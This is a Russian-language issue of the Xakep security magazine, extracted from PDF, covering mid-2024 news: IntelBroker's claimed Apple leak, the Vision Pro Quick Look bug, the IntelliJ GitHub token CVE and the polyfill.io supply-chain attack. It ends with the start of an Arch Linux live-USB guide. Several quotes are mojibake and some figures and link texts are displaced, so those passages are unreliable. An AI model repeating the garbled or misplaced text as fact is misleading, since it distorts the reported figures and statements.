Apple исходный код нес коль ких внут ренних инс тру мен тов.

Сог ласно опуб ликован ному зло умыш ленни ком сооб щению, «в
июне 2024 года у Apple.com про изош ла утеч ка дан ных» (к которой хакер,
веро ятно, при час тен), что и при вело к рас кры тию информа ции. IntelBroker
утвер жда ет, что в резуль тате он заполу чил исходный код для сле дующих внут- 
ренних инс тру мен тов ком пании: AppleConnect-SSO, Apple-HWE-Conuence-
Advanced и AppleMacroPlugin.

Об инс тру мен тах Apple-HWE-Conuence-Advanced и AppleMacroPlugin извес- 
тно мало. Зато AppleConnect-SSO — это сис тема аутен тифика ции, которая
поз воля ет сот рудни кам получать дос туп к опре делен ным при ложе ниям в сети
Apple. Эта сис тема интегри рова на с базой дан ных Directory Services, что
обес печива ет безопас ный дос туп к внут ренним ресур сам.

Так, iOS-при ложе ния, пред назна чен ные толь ко для сот рудни ков, исполь- 
зуют AppleConnect-SSO для быс трой и безопас ной аутен тифика ции.
AppleConnect слу жит для сот рудни ков экви вален том Apple ID и исполь зует ся
для дос тупа ко всем внут ренним сис темам, за исклю чени ем элек трон ной поч- 
ты. Инс тру мент интегри рован во мно жес тво внут ренних сер висов, исполь- 
зуемых сот рудни ками Apple Store, вклю чая Concierge, EasyPay и MobileGenius,
а так же сай ты AppleWeb и PeopleWeb.

Та ким обра зом, пред полага емая утеч ка явно локали зова на внут ри ком- 
пании и вряд ли зат рагива ет дан ные кли ентов Apple.

В сво ем сооб щении IntelBroker не рас кры вает никакой допол нитель ной
информа ции. Судя по все му, он намерен про дать пред положи тель но укра- 
ден ные у ком пании дан ные.

На пом ним, что в пос леднее вре мя IntelBroker регуляр но сли вает дан ные,
похищен ные у целого ряда пра витель ствен ных учрежде ний США, вклю чая

, Минис терс тво обо роны и армии США, а так же Иммигра цион ную
и таможен ную полицию (ICE) и Служ бу граж данс тва и иммигра ции США
(USCIS).

Гос деп

Кро ме того, ранее IntelBroker свя зыва ли с дру гими гром кими инци ден- 
тами, вклю чая , зат ронув шую чле нов и сот рудни ков палаты
пред ста вите лей США (ниж няя палата кон грес са США), 

 (HPE), утеч ку дан ных , утеч ку дан ных раз ведыва тель- 
ного аль янса  и так далее.

утеч ку дан ных
взлом Hewlett Packard

Enterprise General Electric
Five Eye

В прош лом месяце имен но IntelBroker  о взло ме пор тала Europol
Platform for Experts (EPE), утвер ждая, что похитил у Евро пола докумен ты
под гри фом «Толь ко для слу жеб ного поль зования», а так же докумен ты,
содер жащие сек ретные дан ные. Вско ре пос ле это го хакер ский форум
BreachForums, на котором дан ные были выс тавле ны на про дажу, уже во вто- 
рой раз  пра воох раните ли, одна ко вско ре сайт 

.

за явил

по пыта лись зак рыть во зоб- 
новил работу

30 ИНЖЕНЕРОВ TELEGRAM
Пос ле интервью, которое Павел Дуров дал Такеру Кар лсо ну, экспер ты рас кри тико вали Дурова,
заявив шего, что он — единс твен ный вла делец, дирек тор и менед жер по про дук ту в ком пании,
а в целом штат мес сен дже ра сос тавля ет все го «око ло 30 инже неров».

Спе циалис ты, вклю чая извес тно го крип тогра фа и про фес сора уни вер ситета Джон са Хоп- 
кинса Мэттью Гри на (Matthew Green), а так же гла ву по кибер безопас ности Electronic Frontier
Foundation Еву Галь перин (Eva Galperin), говори ли, что их нас торажи вает отсутс твие сквоз ного
шиф рования в Telegram по умол чанию, малый штат сот рудни ков, а так же «сер веры, которые
рас положе ны в ОАЭ».

→ «Telegram отли чает ся от дру гих (и это нам ного хуже!) тем, что Telegram —
не прос то при ложе ние для обме на сооб щени ями, это еще и соци аль ная меди- 
аплатфор ма. Как соци аль ная меди аплатфор ма, он хра нит огромное количес тво
поль зователь ских дан ных. Более того, он хра нит содер жимое всех сооб щений,
которые не отно сят ся к сооб щени ям „один на один“ и не были спе циаль но (end-
to-end) зашиф рованы. А „трид цать инже неров“ озна чает, что некому бороть ся
с юри дичес кими зап росами, нет инфраструк туры для решения проб лем со зло- 
упот ребле ниями и модера цией кон тента», — заяви ла Галь перин изда нию
TechCrunch.

Пред ста вите ли Telegram отве тили на эту кри тику и пояс нили изда нию «Код Дурова», что сло ва
гла вы ком пании были истолко ваны не сов сем пра виль но.

→ «Во-пер вых, в матери але изда ния (TechCrunch) была допуще на откро вен ная
ошиб ка: у Telegram нет никаких сер веров в ОАЭ. Пред ста витель мес сен дже ра
под чер кнул, что никакие дан ные поль зовате лей там не хра нят ся.

Во-вто рых, матери ал TechCrunch во мно гом осно ван на непони мании того,
что имел в виду Павел Дуров, рас ска зывая про сот рудни ков в интервью Кар лсо- 
ну Такеру.

В-треть их, на самом деле за раз работ ку и инфраструк туру отве- 
чают 30 человек, но основная коман да при этом сос тоит при мер но
из 60 человек. Помимо этих 60 чле нов основной коман ды, в Telegram есть
отдель ные коман ды по модера ции и борь бе со зло упот ребле ниями», — заяви ли
в ком пании и пояс нили, что коман да неболь шая намерен но, но вклю чает в себя
экспер тов в раз личных областях, что помога ет быс трее реаги ровать на ситу- 
ации, чем в ком пани ях с боль шими коман дами.

ПАУКИ В VISION PRO
Раз работ чики Apple клас сифици рова ли недав но исправ ленную уяз вимость
в Vision Pro как проб лему отка за в обслу жива нии (DoS), одна ко иссле дова- 
тель, обна ружив ший эту ошиб ку, про демонс три ровал, что на самом деле
это более инте рес ный баг.

Не дав но Apple выпус тила visionOS 1.2, обно вив опе раци онную сис тему
сво ей VR-гар нитуры Vision Pro. Патч устра нил сра зу нес коль ко уяз вимос тей,
но одна из них выделя ется тем, что это один из пер вых багов, который отно- 
сит ся имен но к это му про дук ту, а так же «пер вый в исто рии хак в области
прос транс твен ных вычис лений», как заяв ляет иссле дова тель.

Проб лема, получив шая иден тифика тор CVE-2024-27812, свя зана с обра- 
бот кой спе циаль но соз данно го веб-кон тента. По информа ции Apple, она
может при вес ти к отка зу в обслу жива нии. Одна ко обна ружив ший этот баг
ИБ-спе циалист Рай ан Пик рен (Ryan Pickren) про демонс три ровал, что речь
идет не прос то о DoS-проб леме.

Vision Pro спро екти рова на таким обра зом, что бы пре дот вра щать запуск
неав торизо ван ных при ложе ний и про ник новение в лич ное прос транс тво
поль зовате ля.

«
»

«Ïî óìîë ÷àíèþ íàòèâ íûå ïðè ëîæå íèÿ îãðà íè÷å íû êîí òåê ñòîì Shared
Space, ãäå îíè âåäóò ñåáÿ ïðåä ñêà çóåìî è èõ ìîæ íî ëåã êî çàê ðûòü, —
ðàñ ñêà çûâà åò ýêñïåðò. — Åñëè ïðè ëîæå íèå õî÷åò ïðåä ëîæèòü áîëåå
èììåðñèâ íûé îïûò, îíî äîë æíî ïîëó÷èòü ÿâíîå ðàç ðåøåíèå îò ïîëü- 
çîâàòå ëÿ ÷åðåç ïîä ñêàç êó íà óðîâ íå ÎÑ, ÷òî ïåðåâå äåò ïðè ëîæå íèå
â äîâåðåí íûé êîí òåêñò Full Space».

Кро ме того, сай ты, которые поль зователь посеща ет в Safari с помощью Vision
Pro, могут вос про изво дить 3D-объ екты в ком нате лишь в том слу чае, если
поль зователь вруч ную даст на это явное одоб рение.

Од нако Пик рен обна ружил, что Apple не при меня ет тот же уро вень защиты
к ARKit Quick Look — фун кции iOS, соз данной нес коль ко лет назад. Ока- 
залось, что эта фун кция по-преж нему при сутс тву ет в WebKit и не тре бует
никаких раз решений в Safari.

Ис сле дова тель показал, что зло умыш ленник может исполь зовать эту фун- 
кцию для соз дания 3D-объ ектов любого типа, вклю чая ани миро ван ные и со
зву ковы ми эффекта ми. Для это го дос таточ но вынудить поль зовате ля
посетить вре донос ный сайт.

В качес тве proof-of-concept ата ки Пик рен про демонс три ровал, как ком- 
ната поль зовате ля может напол нить ся сот нями вир туаль ных пауков и гром ко
кри чащих летучих мышей.

«
»

«Ñàìîå æóò êîå çàê ëþ÷à åòñÿ â òîì, ÷òî ýòè àíè ìèðî âàí íûå ôàé ëû
îáðà áàòû âàþò ñÿ îòäåëü íûì ïðè ëîæå íèåì (Quick Look), ïîýòî ìó çàê- 
ðûòèå Safari íå èçáà âèò îò íèõ, — îáú ÿñíÿ åò èññëå äîâà òåëü. — À ïîñ- 
êîëü êó â visionOS íåò Dock èëè êàêîãî�ëèáî äðó ãîãî Open Apps UI, íåò
î÷å âèä íîãî ñïî ñîáà èçáà âèòü ñÿ îò íèõ, òîëü êî áåãàòü ïî êîì íàòå, ÷òî- 
áû ôèçè÷åñ êè êîñ íóòü ñÿ êàæ äîãî».

Эк сперт зак люча ет, что был удив лен тем, что Apple клас сифици рова ла эту
проб лему как DoS. По его сло вам, ком пания вып латила ему воз награж дение
за его наход ку, одна ко точ ная сум ма не раз гла шает ся.

 РУБЛЕЙ УЩЕРБА ОТ ИТ-
ПРЕСТУПЛЕНИЙ
210 ÌÈËËÈÀÐÄÎÂ

Сог ласно ста тис тике МВД РФ, которую озву чил министр Вла димир Колоколь цев, толь ко
в прош лом году от прес тупле ний с исполь зовани ем ИТ пос тра дало более  человек
и  из них — пен сионе ры. В 2024 году количес тво пос тра дав ших уже приб лижа ется
к .

500 тысяч
чет верть
40 тысячам

Сум марный ущерб от таких прес тупле ний за весь 2023 год и четыре месяца 2024 года сос тавил
более  руб лей.210 мил лиар дов

С 2020 года количес тво кибер прес тупле ний воз росло на , и теперь их доля в общем объ- 
еме приб лизилась к .

треть
40%

Продолжение статьи →

https://storage.courtlistener.com/recap/gov.uscourts.nmid.6474/gov.uscourts.nmid.6474.3.0_1.pdf
https://xakep.ru/2024/06/10/microsoft-reworking-recall/
https://xakep.ru/2024/04/08/acuity-leak/
https://xakep.ru/2023/03/10/dc-health-link-leak/
https://xakep.ru/2024/02/06/hpe-leak/
https://xakep.ru/2023/11/27/general-electric-leak/
https://xakep.ru/2024/04/08/acuity-leak/
https://xakep.ru/2024/05/13/epe-hack/
https://xakep.ru/2024/05/16/breachforums-seized-again/
https://xakep.ru/2024/05/31/breachforums-is-back/


 Начало статьи←

РЕКЛАМА
НА YOUTUBE
Раз работ чики YouTube экспе римен тиру ют со встра ива нием рек ламы непос- 
редс твен но в виде опо ток, что бы бло киров щикам рек ламы было слож нее
от нее изба вить ся.

Пер выми новов ведение замети ли соз датели опен сор сно го бра узер ного
рас ширения SponsorBlock, которое собира ет информа цию о том, какие
фраг менты видео содер жат спон сор ский кон тент, что бы про пус тить их.

Ав торы SponsorBlock пре дуп редили, что внед рение рек ламы на сто роне
сер вера наруша ет работу рас ширения, и уже ведет ся работа над решени ем
этой проб лемы. Кро ме того, встра ива ние рек ламы в виде опо ток ска зыва ется
на эффектив ности дру гих бло киров щиков, которые люди исполь зуют
на YouTube.

Де ло в том, что сей час YouTube внед ряет рек ламу на сто роне кли ента:
JavaScript-скрип ты и виде опле ер на устрой стве поль зовате ля под гру жают
и показы вают рек ламу. То есть виде опо ток и рек лама раз делены, а пле ер
зап рограм мирован на при оста нов ку кон тента и вос про изве дение рек ламы
в задан ных точ ках.

Боль шинс тво бло киров щиков отклю чают рек ламу на YouTube, бло кируя
JavaScript, исполь зуемый для внед рения рек ламы в виде опо ток. SponsorBlock
работа ет нем ного ина че: с помощью кра удсорсин га он собира ет информа- 
цию о раз личных сег ментах видео и поз воля ет поль зовате лям про пус кать
спон сор ские интегра ции.

Внед рение рек ламы на сто роне сер вера поз воля ет встро ить ее непос- 
редс твен но в виде опо ток, то есть еще до того, как кон тент будет дос тавлен
зри телю. В ито ге поль зовате ли получа ют неп рерыв ный поток, в который уже
интегри рова на рек лама.

В SponsorBlock объ ясня ют, что YouTube тран сли рует видео с помощью
серии неболь ших фраг ментов, которые «сши вают ся» вмес те для соз дания
неп рерыв ного потока. Порядок вос про изве дения этих фраг ментов опре деля- 
ется фай лом манифес та, и, ког да поль зователь откры вает видео, сер вер
YouTube переда ет ему плей лист, в который вклю чены как кон тент, так и рек- 
ламные фраг менты.

Та кой под ход усложня ет работу SponsorBlock, пос коль ку сме щает вре мен- 
ные мет ки для спон сор ско го кон тента, а в зависи мос ти от про дол житель нос- 
ти рек ламы это сме щение меня ется. Кро ме того, это соз дает труд ности
для работы дру гих бло киров щиков: они хуже рас позна ют рек ламу, которая
явля ется частью самого ролика (в отли чие от лег ко обна ружи ваемых инъ- 
екций на сто роне кли ента).

По ка раз работ чики SponsorBlock вынуж дены бло киро вать сооб щения
от бра узе ров, где про исхо дит внед рение рек ламы на сто роне сер вера, что бы
пре дот вра тить пов режде ние дан ных. Одна ко, если YouTube перей дет к внед- 
рению рек ламы на сто роне сер вера в боль шем мас шта бе, такой под ход ста- 
нет неэф фектив ным.

Пред полага ется, что в будущем инс тру мент, веро ятно, смо жет вычис лять
про дол житель ность рек ламы по метадан ным и эле мен там поль зователь ско го
интерфей са YouTube, но пока сис тема к это му не готова.

Что каса ется раз работ чиков дру гих бло киров щиков, со вре менем они
могут соз дать более слож ные алго рит мы обна руже ния, исполь зовать ана лиз
метадан ных и углублен ное рас позна вание обра зов для опре деле ния рез ких
изме нений в аудио и видео, которые могут сви детель ство вать о вклю чении
рек ламы.

Пред ста вите ли Google про ком менти рова ли ситу ацию сле дующим обра- 
зом:

«

»

«YouTube ðàáîòà åò íàä ïîâûøå íèåì ïðî èçâî äèòåëü íîñ òè è íàäåæ- 
íîñòè êàê îðãà íè÷åñ êîãî, òàê è ðåê ëàìíî ãî âèäå îêîí òåíòà.
Ýòî îáíîâëå íèå ìîæåò ïðè âîäèòü ê âîç íèêíî âåíèþ íåîï òèìàëü íûõ
âïå ÷àò ëåíèé îò ïðîñ ìîòðà ó ïîëü çîâàòå ëåé áëî êèðîâ ùèêîâ ðåê ëàìû.

Áëî êèðîâ ùèêè ðåê ëàìû íàðóøà þò Terms of Service YouTube, è ìû
óæå äàâ íî ïðè çûâà åì ïîëü çîâàòå ëåé ïîä äåðæè âàòü ëþáèìûõ àâòî ðîâ,
ðàç ðåøàÿ ðåê ëàìó íà YouTube, èëè ïîï ðîáîâàòü YouTube Premium
äëÿ ðàáîòû áåç ðåê ëàìû».

Сто ит ска зать, что прак тичес ки ана логич ный туман ный ком мента рий в ком- 
пании давали жур налис там в кон це мая 2024 года, ког да поль зовате ли бло- 
киров щиков обна ружи ли, что теперь в некото рых слу чаях видео на YouTube
авто мати чес ки перема тыва ются в конец или в роликах отклю чает ся звук, что
дела ет прос мотр видео невоз можным.

ОТЧЕТ О ПРОЗРАЧНОСТИ «ЯНДЕКСА»
Ком пания «Яндекс» опуб ликова ла отчет о проз рачнос ти за вто рую полови ну 2023 года.

С июля по декабрь 2023 года по тре бова нию Рос комнад зора из поис ка было уда лено 
ссы лок (на  ссыл ки боль ше, чем в пер вой полови не 2023 года), а так же получе но 
зап росов на рас кры тие дан ных о поль зовате лях.

193 927
3402 36 305

Боль ше все го зап росов на рас кры тие дан ных поль зовате лей ( ) приш лось на «Рай дтех»,
в который вхо дят сер висы так си, самока тов, дос тавки и «Драйв». Про цент отка зов сос тавил

 (  слу чая). Далее идут «Яндекс Поч та» (  зап росов и  отка зов) и «Фуд тех»
(«Еда», «Лав ка», «Деливе ри»;  зап росов и  отка за).

22 918

16% 3652 6115 859
4556 1294

Так же к «Яндексу» обра щались по закону «о пра ве на заб вение», который обя зыва ет поис ковые
сис темы уда лять из резуль татов поис ка ссыл ки на незакон ную, недос товер ную или неак туаль- 
ную информа цию о заяви теле. Все го таких зап росов наб ралось  за пол года.11 598

IDE INTELLIJ СЛИВАЕТ
ТОКЕНЫ GITHUB
JetBrains пре дуп редила кли ентов об исправ лении кри тичес кой уяз вимос ти,
которая зат ронула поль зовате лей IDE IntelliJ и поз воляла получить дос туп
к токенам GitHub.

Уяз вимость отсле жива ется под иден тифика тором CVE-2024-37051 и зат- 
рагива ет все IDE на базе IntelliJ, начиная с вер сии 2023.1, в которых вклю чен,
нас тро ен или исполь зует ся пла гин JetBrains GitHub.

«
»

«29 ìàÿ 2024 ãîäà ìû ïîëó÷è ëè ñîîá ùåíèå î âîç ìîæíîé óÿç âèìîñ òè,
êîòîðàÿ ñïî ñîá íà âëè ÿòü íà pull request’û â IDE, — ðàñ ñêà çàë Èëüÿ
Ïëåñ êóíèí, ðóêîâî äèòåëü ãðóï ïû ïîä äåð æêè áåçîïàñ íîñòè
â JetBrains. — Òàê, âðå äîíîñ íûé êîí òåíò, ñîäåð æàùèé ñÿ â ïóë�ðåê- 
âåñòå äëÿ GitHub è îáðà áàòû âàåìûé IDE íà áàçå IntelliJ, ìîæåò ïðè- 
âåñ òè ê ïåðåäà ÷å òîêåíîâ äîñ òóïà íà ñòî ðîí íèé õîñò».

JetBrains уже выпус тила пат чи, устра нив шие кри тичес кую проб лему в вер- 
сии 2023.1 или более поз дних. Так же ком пания испра вила уяз вимый пла гин
JetBrains GitHub и уда лила все ранее зат ронутые вер сии из сво его офи циаль- 
ного мар кет плей са пла гинов.

Пол ный спи сок исправ ленных вер сий вклю чает:
: 2024.1.2;• Aqua

: 2023.1.7, 2023.2.4, 2023.3.5, 2024.1.3, 2024.2 EAP2;• CLion

: 2024.1.4;• DataGrip

: 2023.1.6, 2023.2.7, 2023.3.6, 2024.1.2;• DataSpell

: 2023.1.6, 2023.2.7, 2023.3.7, 2024.1.3, 2024.2 EAP3;• GoLand

: 2023.1.7, 2023.2.7, 2023.3.7, 2024.1.3, 2024.2 EAP3;• IntelliJ IDEA

: 2023.2.1, 2023.3.1, 2024.1 EAP2;• MPS

: 2023.1.6, 2023.2.6, 2023.3.7, 2024.1.3, 2024.2 EAP3;• PhpStorm

: 2023.1.6, 2023.2.7, 2023.3.6, 2024.1.3, 2024.2 EAP2;• PyCharm

: 2023.1.7, 2023.2.5, 2023.3.6, 2024.1.3;• Rider

: 2023.1.7, 2023.2.7, 2023.3.7, 2024.1.3, 2024.2 EAP4;• RubyMine

: 2024.1.1;• RustRover

: 2023.1.6, 2023.2.7, 2023.3.7, 2024.1.4.• WebStorm

Ад минис тра торам рекомен дует ся как мож но ско рее уста новить пат чи и отоз- 
вать токены GitHub. Так же ком пания нас тоятель но совету ет кли ентам, активно
исполь зующим фун кци ональ ность пул-рек вестов GitHub в IntelliJ IDE, отоз вать
все токены GitHub, исполь зуемые уяз вимым пла гином, пос коль ку они могут
пре дос тавить потен циаль ным зло умыш ленни кам дос туп к свя зан ным акка- 
унтам на GitHub (даже если вклю чена допол нитель ная защита в виде двух- 
фактор ной аутен тифика ции).

Кро ме того, если пла гин исполь зовал ся с интегра цией OAuth или Personal
Access Token (PAT), сле дует отоз вать дос туп JetBrains IDE Integration и уда лить
токен пла гина интегра ции IntelliJ IDEA с GitHub. Под черки вает ся, что пос ле
отзы ва токена при дет ся заново нас тро ить пла гин, так как все его фун кции
(вклю чая опе рации с Git) перес танут работать.

По мимо это го, JetBrains свя залась с раз работ чиками GitHub, что бы
помочь миними зиро вать пос ледс твия уяз вимос ти. Поэто му, в свя зи с при- 
няты ми мерами, пла гин JetBrains GitHub может работать некор рек тно в ста- 
рых вер сиях IDE JetBrains.

APPLE НЕ ЗАПЛАТИЛА «ЛАБОРАТОРИИ КАСПЕРСКОГО»
Ле том 2023 года ФСБ и ФСО Рос сии пре дуп редили о «раз ведыва тель ной акции аме рикан ских
спец служб, про веден ной с исполь зовани ем мобиль ных устрой ств фир мы Apple». Вско ре пос ле
это го «Лабора тория Кас пер ско го» опуб ликова ла раз верну тый отчет о целевых ата ках, нап- 
равлен ных на устрой ства, работа ющие под управле нием iOS, а так же сооб щила о нес коль ких
исполь зован ных в этой кам пании уяз вимос тях.

В ито ге эти шпи онские ата ки получи ли наз вание « », и спе циалис- 
ты писали, что это «самая изощ ренная цепоч ка атак» из всех, что они ког да-либо видели.

Опе рация „Три ангу ляция“

Как выяс нилось теперь, ком пания Apple так и не вып латила «Лабора тории Кас пер ско го»
при чита ющиеся bug bounty. При чем воз награж дение за обна руже ние такого рода багов может
сос тавлять до мил лиона дол ларов США.

→ «Мы наш ли zero-day-, zero-click-уяз вимос ти, переда ли всю информа цию
Apple, сде лали полез ное дело. По сути сво ей, мы зарепор тили им уяз вимость,
за которую они дол жны зап латить bug bounty. Нам это воз награж дение не нуж- 
но, но есть прак тика такие вып латы от боль ших ком паний переда вать на бла гот- 
воритель ность. Apple отка зала нам в вып лате, даже в поль зу бла гот воритель ной
орга низа ции, сос лавшись на внут реннюю полити ку, без объ ясне ния. Учи тывая,
сколь ко информа ции мы им пре дос тавили и нас коль ко про активно это сде- 
лали, — непонят но, почему они при няли такое решение.

Пос ле обна руже ния шпи онско го модуля в iPhone сот рудни ков ком пании
в прош лом году мы ушли с iOS. Всем сот рудни кам ком пании сей час пла ново,
поэтап но выда ют кор поратив ные мобиль ные устрой ства на Android. Мы ушли
с iOS не потому, что она менее безопас на, а потому, что нам, как security-вен- 
дору, хочет ся иметь в сво их руках боль ше кон тро ля над безопас ностью устрой- 
ств. На iOS мы не можем пос тавить пол ноцен ный про дукт, который будет ска- 
ниро вать активность, фай лы, пре дос тавлять информа цию, необ ходимую
для incident response. Android к тому же пре дос тавля ет боль ший фун кци онал
для MDM. В общем, если какая-то кибера така на сот рудни ков сно ва про изой- 
дет, то раз бирать ся с ней на iOS будет слож но, как показа ла прак тика», — рас- 
ска зал жур налис там RTVI Дмит рий Галов, руково дитель рос сий ско го иссле дова- 
тель ско го цен тра «Лабора тории Кас пер ско го».

АТАКА ЧЕРЕЗ
POLYFILL
Вок руг сер виса polyll(.)io раз вернул ся гром кий скан дал, свя зан ный с ата кой
на цепоч ку пос тавок.

Тер мином polyll («полифил») обоз нача ют код, реали зующий какую-либо
фун кци ональ ность, которая под держи вает ся не во всех вер сиях бра узе ров.
Нап ример, полифил может добав лять JavaScript-фун кци ональ ность, которая
недос тупна для ста рых бра узе ров, но уже при сутс тву ет в сов ремен ных.

Polyll(.)io исполь зует ся мно жес твом сай тов, что бы все их посети тели мог- 
ли поль зовать ся одной и той же кодовой базой, даже если их бра узе ры
не под держи вают какие-то сов ремен ные фун кции.

В кон це июня  о мас штаб ной ата ке на цепоч ку пос тавок,
зат ронув шей не менее 100 тысяч сай тов, исполь зовав ших cdn.polyll(.)io.

ста ло извес тно

Де ло в том, что домен недав но при обре ла китай ская ком пания Funnull,
пос ле чего иссле дова тели ком пании Sansec обна ружи ли, что скрипт был
модифи циро ван для перенап равле ния поль зовате лей на вре донос ные
и мошен ничес кие сай ты.

При этом раз работ чик ори гиналь ного про екта Эндрю Беттс (Andrew Betts)
еще в фев рале пре дуп реждал о том, что он никог да не был вла дель цем
polyll(.)io и не имел к нему отно шения. Еще тог да он рекомен довал всем вла- 
дель цам сай тов немед ленно изба вить ся от это го кода.

Бо лее того, Беттс, соз давший опен сор сный про ект polyll еще в середи- 
не 2010-х годов, вооб ще писал о том, что людям сле дует прек ратить исполь- 
зовать polyll(.)io, так как в сов ремен ном мире в этом уже нет никакой нуж ды.

Ког да информа ция об ата ке начала рас простра нять ся в СМИ, домен
polyll(.)io был зак рыт регис тра тором Namecheap. Одна ко новые вла дель цы
сер виса тут же возоб новили его работу на новом домене (polyll(.)com),
заявив, что их окле вета ли и «никаких рис ков для цепоч ки пос тавок нет».
По сос тоянию на 28 июня 2024 года новый домен тоже перес тал отве чать и,
похоже, так же был зак рыт регис тра тором.

Бо лее того, пос ле пре дания этой исто рии огласке пред ста вите ли ком- 
пании Cloudare вырази ли недоволь ство тем, что polyll(.)io неп равомер но
исполь зовал наз вание и логотип Cloudare.

Ком пания заяви ла, что нес пособ ность polyll(.)io уда лить «лож ные заяв- 
ления» со сво его сай та (хотя пред ста вите ли Cloudare свя зыва лись с ком- 
пани ей) слу жит «еще одним пре дуп режда ющим сиг налом о том, что им нель- 
зя доверять».

Кро ме того, в Cloudare под твер дили выводы спе циалис тов Sansec
и сооб щили, что CDN polyll(.)io исполь зует ся для перенап равле ния поль- 
зовате лей, нап ример, на сай ты со став ками на спорт и это дела ется
с помощью домен ного име ни google-anaiytics(.)com, которое умыш ленно
написа но неп равиль но и ими тиру ет Google Analytics.

Со учре дитель и гла ва Cloudare Мэттью Принс (Matthew Prince) добавил,
что око ло 4% всех сай тов в интерне те (то есть десят ки мил лионов ресур сов)
исполь зуют polyll(.)io, и наз вал воз можные пос ледс твия от этой ата ки «край- 
не тре вож ными».

В ответ на эти обви нения новые вла дель цы сер виса опуб ликова ли серию
сооб щений в соци аль ной сети X (быв ший Twitter), где заяви ли о сво ей неп- 
ричас тнос ти к мас штаб ной ата ке на цепоч ку пос тавок и обви нили СМИ в кле- 
вете:

« »
«Ìû îáíà ðóæè ëè â ÑÌÈ ñîîá ùåíèÿ, êëå âåùó ùèå íà Polyfill. Ìû õîòèì
ïîÿñ íèòü, ÷òî âñå íàøè ñåð âèñû êåøèðó þòñÿ â Cloudflare è íèêàêî ãî
ðèñ êà äëÿ öåïî÷ êè ïîñ òàâîê íåò», — ïèøóò ïðåä ñòà âèòå ëè ñåð âèñà.

Од нако ИБ-иссле дова тели при зыва ют не верить заяв лени ям ком пании. Так,
изда ние Bleeping Computer , что эта мас штаб ная ата ка была про- 
веде на сра зу через нес коль ко CDN (polyll(.)io, BootCDN, Bootcss и Staticle)
и мог ла зат ронуть вов се не 100 тысяч, а десят ки мил лионов сай тов, при чем
за про исхо дящим сто ит один опе ратор.

вы ясни ло

Спе циалис ты ожи дают, что эффект от этой ата ки про явит себя в бли жай- 
шие недели, тог да будет более понятен мас штаб про изо шед шего.

Мно гие опа сают ся, что опе рато ры polyll(.)io мог ли заранее зарегис три- 
ровать мно жес тво доменов у раз ных регис тра торов (нап ример, polyll(.)cloud)
и теперь могут начать раз верты вание этих доменов, услу гами которых смо гут
по-преж нему вос поль зовать ся люди, ничего не зна ющие о про исхо дящем.

Всем, кто еще это го не сде лал, рекомен дует ся как мож но ско рее перей ти
на безопас ные аль тер нативы, уже соз данные спе циалис тами 
и .

Cloudare
Fastly

Так же в этом может помочь сайт , соз данный ком пани ей Leak
Signal. Этот сер вис поз воля ет выяв лять сай ты, исполь зующие polyll(.)io,
и пред лага ет информа цию о перехо де на аль тер натив ные решения.

Polykill.io

ДРУГИЕ ИНТЕРЕСНЫЕ СОБЫТИЯ МЕСЯЦА
RCE-уяз вимость в PHP вли яет на все вер сии Windows

Google начина ет внед рение Manifest V3

Ата ка SnailLoad поз воля ет сле дить за поль зовате лями без пря мого дос тупа к тра фику

В США пол ностью зап ретили про дажу про дук тов «Лабора тории Кас пер ско го»

Фа наты MMO Club Penguin взло мали Disney и похити ли 2,5 Гбайт дан ных

Кор поратив ная сеть TeamViewer пос тра дала от ата ки

Hugging Face пре дуп режда ет: плат форму Spaces взло мали

РКН пот ребовал от Google и Opera заб локиро вать рас ширение для обхо да бло киро вок

Выш ла Kali Linux 2024.2 с 18 новыми инс тру мен тами

Иг роки приз вали изба вить Team Fortress 2 от ботов
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https://xakep.ru/2024/06/26/rkn-censor-tracker/
https://xakep.ru/2024/06/06/kali-linux-2024-2/
https://xakep.ru/2024/06/06/fixtf2/
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Се год ня мы с тобой соз дадим «живой»
USB-накопи тель с уста новоч ным обра зом
Arch Linux. «Живой» в том смыс ле, что
во вре мя исполь зования мож но будет уста- 
нав ливать и уда лять прог раммы, менять
любые фай лы и сох ранять изме нения. Я
при гото вил для тебя мак сималь но под- 
робную инс трук цию по основным дей стви- 
ям, но даль ше ты смо жешь нас тро ить всё
так, как тебе пон равит ся.

У каж дого линук соида есть любимая сис тема. У некото рых даже нес коль ко,
каж дая — для осо бых задач. Один из таких спе циаль ных слу чаев — это пор- 
татив ная сис тема, которую мож но заг рузить на чужой машине или на тво ей,
если основная ОС вдруг перес тала работать нор маль но.

Есть мно жес тво готовых раз работок, пред назна чен ных как раз
для решения таких задач. Но мы-то хотим получить пол ностью кас томизи-
рован ное окру жение — при выч ное и с набором нуж ных прог рамм!

Ва риан та здесь два: сде лать заг рузоч ный образ ISO либо прос то уста- 
новить всё на флеш ку. В пер вом слу чае сис тема будет в разы ком пак тнее,
во вто ром мы получим важ ную воз можность ста вить и уда лять прог раммы
и менять нас трой ки во вре мя работы.

Да, флеш ка будет изна шивать ся, но сто ят они сей час недоро го, и воз- 
можность работы с пол ноцен ной ОС, на мой взгляд, гораз до важ нее.

ÏÎÄÃÎÒÎÂÊÀ

Все работы я буду про водить на Arch Linux для x86-64 и возь му ори гиналь ные
archiso, которые исполь зуют ся для соз дания офи циаль ных ISO-обра зов.

По это му в сис тему дол жны быть уста нов лены сле дующие пакеты: archiso,
arch-install-scripts, gptfdisk.

Мож но как сра зу уста новить на USB-накопи тель, так и соз дать образ дис- 
ка, который потом мож но будет записать на флеш ку. Далее я опи шу про цесс
соз дания обра за дис ка.

ÑÎÇÄÀÅÌ ÏÓÑÒÎÉ ÔÀÉË ÏÎÄ ÐÀÇÌÅÐ ÔËÅØÊÈ

Пе рехо дим в каталог, где будем соз давать наш образ.

 ~ cd

Все даль нейшие дей ствия будем делать с при виле гиями супер поль зовате ля.

su 

Что бы тебе было лег че ори енти ровать ся, буду показы вать вывод некото рых
команд.

Уз нать точ ный раз мер устрой ства мож но коман дой

lsblk -bo NAME,SIZE 

 

 

lsblk -bo NAME,SIZE 
NAME   SIZE 
sda4005527552 
├─sda1   10485760 
├─sda2  268435456 
└─sda3 3725540864 
mmcblk0 62226694144 
├─mmcblk0p1   209715200 
└─mmcblk0p2 62015930368

Она покажет все устрой ства, сре ди них тебе нуж но най ти свой USB-накопи- 
тель.

Уз нав номер устрой ства, ты можешь сос тавить коман ду и задать нуж ный
раз мер фай ла. Делим раз мер на 4096 и получа ем нуж ное количес тво бло ков.

При меры:

16 Гб: 16034824192 / 4096 = 3914752 
4 Гб:   4005527552 / 4096 = 977912 

4096 — это обыч ный раз мер сек тора для фай ловой сис темы.
Ко ман да для соз дания фай ла  раз мером 4 Гбайт:usb.img

4096 dd if=/dev/zero of=usb.img bs= count=977912 status=progress 

 

 

